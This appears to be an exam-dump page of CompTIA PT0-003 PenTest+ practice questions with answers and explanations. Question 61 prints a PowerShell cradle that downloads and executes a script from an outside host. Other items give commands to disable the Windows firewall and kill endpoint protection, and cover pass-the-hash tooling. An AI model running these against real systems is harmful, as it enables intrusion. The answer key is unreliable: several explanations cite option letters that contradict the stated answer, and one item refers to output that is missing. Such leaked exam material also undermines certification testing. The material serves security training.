PT0-003 Dumps 2024 - New CompTIA PT0-003 Exam Questions
Free PT0-003 Braindumps Download Updated on Oct 14, 2024 with 132 Questions
NEW QUESTION # 44
During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine. Which of the following tools should the penetration tester use to continue the attack?
- A. BloodHound
- B. CrackMapExec
- C. Responder
- D. Hydra
Answer: B
Explanation:
When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here's a breakdown of the options:
Option A: Responder
Responder is primarily used for poisoning LLMNR, NBT-NS, and MDNS to capture hashes, but not for leveraging NTLM hashes obtained post-exploitation.
Option B: Hydra
Hydra is a password-cracking tool but not specifically designed for NTLM hashes or pass-the-hash attacks.
Option C: BloodHound
BloodHound is used for mapping out Active Directory relationships and identifying potential attack paths but not for using NTLM hashes directly.
Option D: CrackMapExec
CrackMapExec is a versatile tool that can perform pass-the-hash attacks, execute commands, and more using NTLM hashes. It is designed for post-exploitation scenarios involving NTLM hashes.
Reference from Pentest:
Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network.
Horizontall HTB: Shows how CrackMapExec can be used for various post-exploitation activities, including using NTLM hashes to authenticate and execute commands.
Conclusion:
Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash.
It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.
NEW QUESTION # 45
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?
- A. Performing spear phishing against employees by posing as senior management
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Attempting to tailgate an employee going into the client's workplace
- D. Using a brute-force attack against the external perimeter to gain a foothold
Answer: A
NEW QUESTION # 46
During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?
- A. certutil.exe
- B. bitsadmin.exe
- C. netsh.exe
- D. msconfig.exe
Answer: C
Explanation:
Understanding netsh.exe:
Purpose: Configures network settings, including IP addresses, DNS, and firewall settings.
Firewall Management: Can enable, disable, or modify firewall rules.
Disabling the Firewall:
Command: Use netsh.exe to disable the firewall.
netsh advfirewall set allprofiles state off
Usage in Penetration Testing:
Pivoting: Disabling the firewall can help the penetration tester pivot from one system to another by removing network restrictions.
Command Execution: Ensure the command is executed with appropriate privileges.
Reference from Pentesting Literature:
netsh.exe is commonly mentioned in penetration testing guides for configuring network settings and managing firewalls.
HTB write-ups often reference the use of netsh.exe for managing firewall settings during network-based penetration tests.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 47
Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?
- A. Patator
- B. DirBuster
- C. CeWL
- D. w3af
Answer: C
Explanation:
CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization's sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.
https://esgeeks.com/como-utilizar-cewl/
NEW QUESTION # 48
A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?
- A. Set the malicious AP to broadcast within dynamic frequency selection channels.
- B. Send deauthentication frames to the stations.
- C. Modify the malicious AP configuration to not use a pre-shared key.
- D. Perform jamming on all 2.4GHz and 5GHz channels.
Answer: B
Explanation:
https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax The penetration tester should send deauthentication frames to the stations to force them to disconnect from their current access point and reconnect to another one, which may be the malicious AP deployed by the tester. Deauthentication frames are part of the 802.11 protocol and are used to terminate an existing wireless association between a station and an access point. However, they can also be spoofed by an attacker to disrupt or hijack wireless connections. The other options are not effective or relevant for this purpose.
Performing jamming on all 2.4GHz and 5GHz channels would interfere with all wireless signals in the area, which may cause unwanted attention or legal issues. Setting the malicious AP to broadcast within dynamic frequency selection channels would not help, as these channels are used to avoid interference with radar systems and are not commonly used by wireless stations or access points. Modifying the malicious AP configuration to not use a pre-shared key would not help, as it would make it less likely for wireless stations to connect to it if they are configured to use encryption.
NEW QUESTION # 49
A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?
- A. Stop the penetration test.
- B. Check the scoping document to determine if exfiltration is within scope.
- C. Include the discovery and interaction in the daily report.
- D. Escalate the issue.
Answer: A
Explanation:
"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."
NEW QUESTION # 50
A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?
- A. Nmap
- B. Fuzzer
- C. tcpdump
- D. Snort
- E. Netstat
Answer: A
NEW QUESTION # 51
A penetration tester gains access to a Windows machine and wants to further enumerate users with native operating system credentials. Which of the following should the tester use?
- A. netstat.exe -ntp
- B. strings.exe -a
- C. net.exe commands
- D. route.exe print
Answer: C
Explanation:
The net.exe commands are native to the Windows operating system and are used to manage and enumerate network resources, including user accounts.
Step-by-Step Explanation
Using net.exe Commands:
User Enumeration: The net user command lists all user accounts on the system.
net user
Detailed User Information: To get detailed information about a specific user.
net user <username>
Additional net.exe Commands:
Groups: Enumerate groups and group memberships.
net localgroup
net localgroup <groupname>
Sessions: List active sessions.
net session
Advantages:
Native Tool: No need to install additional software.
Comprehensive: Provides detailed information about users and groups.
Reference from Pentesting Literature:
The use of net.exe commands for user enumeration is a standard practice discussed in various penetration testing guides.
HTB write-ups often include net.exe commands as part of the enumeration phase on Windows systems.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 52
A penetration tester is looking for a particular type of service and obtains the output below:
I Target is synchronized with 127.127.38.0 (reference clock)
I Alternative Target Interfaces:
I 10.17.4.20
I Private Servers (0)
I Public Servers (0)
I Private Peers (0)
I Public Peers (0)
I Private Clients (2)
I 10.20.8.69 169.254.138.63
I Public Clients (597)
I 4.79.17.248 68.70.72.194 74.247.37.194 99.190.119.152
I 12.10.160.20 68.80.36.133 75.1.39.42 108.7.58.118
I 68.56.205.98
I 2001:1400:0:0:0:0:0:1 2001:16d8:ddOO:38:0:0:0:2
I 2002:db5a:bccd:l:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682 I Other Associations (1)
|_ 127.0.0.1 seen 1949869 times, last tx was unicast v2 mode 7
Which of the following commands was executed by the tester?
- A. nmap-sU-pU:161-Pn-n-script=voldemort-info <target>
- B. nmap-sU-pU:517-Pn-n-script=supermicro-ipmi-config<target>
- C. nmap-sU-pU:123-Pn-n-script=ntp-monlist <target>
- D. nmap-sU-pU:37 -Pn -n -script=icap-info <target>
Answer: C
Explanation:
The output provided indicates the use of the NTP protocol (Network Time Protocol) for querying a target system. The reference to "Public Clients" and the specific IP addresses listed, along with the mention of
"Other Associations" and the use of NTP version 2, points towards the execution of an NTP monlist request.
The monlist feature in NTP servers can be used to obtain a list of the last 600 hosts that have interacted with the NTP server. The command nmap -sU -pU:123 -Pn -n -script=ntp-monlist <target> specifically targets NTP servers on UDP port 123 to retrieve this information, making it the correct choice based on the output shown.
NEW QUESTION # 53
Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?
- A. Preserving artifacts
- B. Exporting credential data
- C. Reverting configuration changes
- D. Keeping chain of custody
Answer: A
Explanation:
Preserving Artifacts:
Definition: Artifacts in penetration testing include all data and evidence collected during the test, such as logs, screenshots, exploit scripts, configuration files, and any other relevant information.
Importance: These artifacts are critical for reporting and post-assessment analysis. They serve as evidence of findings and support the conclusions and recommendations made in the penetration test report.
Other Tasks:
Reverting Configuration Changes: Important for restoring systems to their original state but does not directly ensure preservation of key outputs.
Keeping Chain of Custody: Ensures that evidence is handled properly, particularly in legal contexts, but is more relevant to forensic investigations.
Exporting Credential Data: Part of preserving artifacts, but preserving artifacts is a broader task that encompasses more than just credential data.
Pentest Reference:
Reporting: Comprehensive documentation and reporting of findings are crucial parts of penetration testing.
Evidence Handling: Properly preserving and handling artifacts ensure that the integrity of the test results is maintained and can be used for future reference.
By preserving artifacts, the penetration tester ensures that all key outputs from the test are retained for analysis, reporting, and future reference.
NEW QUESTION # 54
A penetration tester is conducting an assessment on 192.168.1.112. Given the following output:
Which of the following is the penetration tester conducting?
- A. Credential stuffing
- B. DoS attack
- C. Brute force
- D. Port scan
Answer: C
Explanation:
The output shows multiple login attempts with different passwords for the same username "root" on the IP address 192.168.1.112. This is indicative of a brute force attack, where an attacker systematically tries various password combinations to gain unauthorized access. References: The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 4: Conducting Passive Reconnaissance; The Official CompTIA PenTest+ Student Guide (Exam PT0-002), Lesson 4: Conducting Active Reconnaissance.
NEW QUESTION # 55
A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?
- A. Shared responsibilities
- B. Testing window
- C. Terms of service
- D. Authorization letter
Answer: B
Explanation:
The rules of engagement define the scope, limitations, and conditions under which a penetration test is conducted. Here's why option A is correct:
Testing Window: This specifies the time frame during which the penetration testing activities are authorized to occur. It is a crucial part of the rules of engagement to ensure the testing does not disrupt business operations and is conducted within agreed-upon hours.
Terms of Service: This generally refers to the legal agreement between a service provider and user, not specific to penetration testing engagements.
Authorization Letter: This provides formal permission for the penetration tester to perform the assessment but is not a component of the rules of engagement.
Shared Responsibilities: This refers to the division of security responsibilities between parties, often seen in cloud service agreements, but not specifically a function of the rules of engagement.
Reference from Pentest:
Luke HTB: Highlights the importance of clearly defining the testing window in the rules of engagement to ensure all parties are aligned.
Forge HTB: Demonstrates the significance of having a well-defined testing window to avoid disruptions and ensure compliance during the assessment.
NEW QUESTION # 56
After successfully compromising a remote host, a security consultant notices an endpoint protection software is running on the host. Which of the following commands would be best for the consultant to use to terminate the protection software and its child processes?
- A. taskkill /PID <PID> /IM /F
- B. taskkill /PID <PID> /S /U
- C. taskkill /PID <PID> /T /F
- D. taskkill /PID <PID> /F /P
Answer: C
Explanation:
The taskkill command is used in Windows to terminate tasks by process ID (PID) or image name (IM). The correct command to terminate a specified process and any child processes which were started by it uses the
/T flag, and the /F flag is used to force terminate the process. Therefore, taskkill /PID <PID> /T /F is the correct syntax to terminate the endpoint protection software and its child processes.
The other options listed are either incorrect syntax or do not accomplish the task of terminating the child processes:
*/IM specifies the image name but is not necessary when using /PID.
*/S specifies the remote system to connect to and /U specifies the user context under which the command should execute, neither of which are relevant to terminating processes.
*There is no /P flag in the taskkill command.
NEW QUESTION # 57
A penetration tester is performing an assessment for an organization and must gather valid user credentials.
Which of the following attacks would be best for the tester to use to achieve this objective?
- A. Wardriving
- B. Impersonation
- C. Deauthentication
- D. Captive portal
Answer: B
Explanation:
Impersonation attacks involve the penetration tester assuming the identity of a valid user to gain unauthorized access to systems or information. This method is particularly effective for gathering valid user credentials, as it can involve tactics such as phishing, social engineering, or exploiting weak authentication processes. The other options, such as Wardriving, Captive portal, and Deauthentication, are more focused on wireless network vulnerabilities and are less direct in obtaining user credentials.
NEW QUESTION # 58
A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?
- A. nmap -sU -sY -p 1-65535 example.com
- B. nmap -sU -sT -p 1-65535 example.com
- C. nmap -sU -sW -p 1-65535 example.com
- D. nmap -sU -sN -p 1-65535 example.com
Answer: B
Explanation:
To find the state of both TCP and UDP ports using Nmap, the appropriate command should combine both TCP and UDP scan options:
Understanding the Options:
-sU: Performs a UDP scan.
-sT: Performs a TCP connect scan.
Command Explanation:
Command: nmap -sU -sT -p 1-65535 example.com
Comparison with Other Options:
-sW: Initiates a TCP Window scan, not relevant for identifying the state of TCP and UDP services.
-sY: Initiates a SCTP INIT scan, not relevant for this context.
-sN: Initiates a TCP Null scan, which is not used for discovering UDP services.
NEW QUESTION # 59
During an external penetration test, a tester receives the following output from a tool:
test.comptia.org
info.comptia.org
vpn.comptia.org
exam.comptia.org
Which of the following commands did the tester most likely run to get these results?
- A. amass enum -passive -d comptia.org
- B. nslookup -type=SOA comptia.org
- C. shodan host comptia.org
- D. nmap -Pn -sV -vv -A comptia.org
Answer: A
Explanation:
The tool and command provided by option B are used to perform passive DNS enumeration, which can uncover subdomains associated with a domain. Here's why option B is correct:
amass enum -passive -d comptia.org: This command uses the Amass tool to perform passive DNS enumeration, effectively identifying subdomains of the target domain. The output provided (subdomains) matches what this tool and command would produce.
nslookup -type=SOA comptia.org: This command retrieves the Start of Authority (SOA) record, which does not list subdomains.
nmap -Pn -sV -vv -A comptia.org: This Nmap command performs service detection and aggressive scanning but does not enumerate subdomains.
shodan host comptia.org: Shodan is an internet search engine for connected devices, but it does not perform DNS enumeration to list subdomains.
Reference from Pentest:
Writeup HTB: Demonstrates the use of DNS enumeration tools like Amass to uncover subdomains during external assessments.
Horizontall HTB: Highlights the effectiveness of passive DNS enumeration in identifying subdomains and associated information.
NEW QUESTION # 60
Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)
- A. Nessus
- B. OWASP ZAP
- C. BeEF
- D. Burp Suite
- E. Nmap
- F. Hydra
Answer: B,D
NEW QUESTION # 61
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") { echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -} Which of the following is the penetration tester most likely trying to do?
- A. Log the internet browsing history for a systems administrator.
- B. Conditionally stage and execute a remote script.
- C. Change the system's wallpaper based on the current user's preferences.
- D. Capture the administrator's password and transmit it to a remote server.
Answer: B
Explanation:
Script Breakdown:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1]: Retrieves the current username.
If ($1 -eq "administrator"): Checks if the current user is "administrator".
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -}: If the user is "administrator", downloads and executes a PowerShell script from a remote server.
Purpose:
Conditional Execution: Ensures the script runs only if executed by an administrator.
Remote Script Execution: Uses IEX (Invoke-Expression) to download and execute a script from a remote server, a common method for staging payloads.
Why This is the Best Choice:
This script aims to conditionally download and execute a remote script based on the user's privileges. It is designed to stage further attacks or payloads only if the current user has administrative privileges.
Reference from Pentesting Literature:
The technique of conditionally executing scripts based on user privileges and using remote script execution is discussed in penetration testing guides and is a common tactic in various HTB write-ups.
Reference:
Penetration Testing - A Hands-on Introduction to Hacking
HTB Official Writeups
NEW QUESTION # 62
A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?
- A. Provide raw output from penetration testing tools.
- B. Determine which reports are no longer under a period of confidentiality.
- C. Redact identifying information and provide a previous customer's documentation.
- D. Allow the client to only view the information while in secure spaces.
Answer: B
Explanation:
Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer's consent.
NEW QUESTION # 63
......
CompTIA PT0-003 Exam Practice Test Questions: https://actualtests.test4engine.com/PT0-003-real-exam-questions.html